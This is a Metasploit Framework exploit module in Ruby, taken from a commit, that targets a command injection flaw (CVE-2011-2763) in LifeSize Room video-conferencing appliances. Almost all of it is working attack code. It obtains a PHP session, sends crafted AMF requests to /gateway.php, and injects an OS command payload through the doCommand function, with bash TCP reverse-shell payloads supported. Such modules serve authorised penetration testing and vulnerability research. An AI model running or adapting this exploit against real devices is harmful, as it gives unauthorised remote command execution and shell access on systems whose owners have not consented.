Add LifeSize room command injection (feature #5333)
git-svn-id: file:///home/svn/framework3/trunk@14143 4d416f70-5f16-0410-b530-b9f4589650daunstable
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LifeSize Room Command Injection',
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'Description' => %q{
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This module exploits a vulnerable resource in LifeSize
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Room versions 3.5.3 and 4.7.18 to inject OS commmands. LifeSize
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Room is an appliance and thus the environment is limited
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resulting in a small set of payload options.
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},
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'Author' =>
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[
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# SecureState R&D Team - Special Thanks To Chris Murrey
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'Spencer McIntyre',
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2011-2763' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 65535, # limited by the two byte size in the AMF encoding
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'Compat' =>
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{
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'PayloadType' => 'cmd cmd_bash',
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'RequiredCmd' => 'generic bash-tcp',
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}
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},
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Targets' => [ [ 'Automatic', { } ] ],
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'DisclosureDate' => 'Jul 13 2011',
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'DefaultTarget' => 0))
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end
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def exploit
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print_status("Requesting PHP Session...")
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res = send_request_cgi({
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'encode' => false,
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'uri' => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
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'method' => 'GET',
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}, 10)
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if not res.headers['set-cookie']
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print_error('Could Not Obtain A Session ID')
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return
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end
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sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
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headers = {
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'Cookie' => sessionid,
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'Content-Type' => 'application/x-amf',
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}
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print_status("Validating PHP Session...")
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data = "\x00\x00\x00\x00\x00\x02\x00\x1b"
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data << "LSRoom_Remoting.amfphpLogin"
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data << "\x00\x02/1\x00\x00\x00"
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data << "\x05\x0a\x00\x00\x00\x00\x00\x17"
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data << "LSRoom_Remoting.getHost"
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data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"
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res = send_request_cgi({
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'encode' => false,
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'uri' => '/gateway.php',
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'data' => data,
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'method' => 'POST',
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'headers' => headers,
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}, 10)
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if not res
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print_error('Could Not Validate The Session ID')
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return
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end
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print_status("Sending Malicious POST Request...")
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# This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
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amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19"
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amf_data << "LSRoom_Remoting.doCommand"
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amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"
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amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"
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amf_data << "\x02\x00\x0dupgradeStatus"
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res = send_request_cgi({
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'encode' => false,
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'uri' => '/gateway.php?' << sessionid,
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'data' => amf_data,
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'method' => 'POST',
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'headers' => headers
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}, 10)
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end
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end
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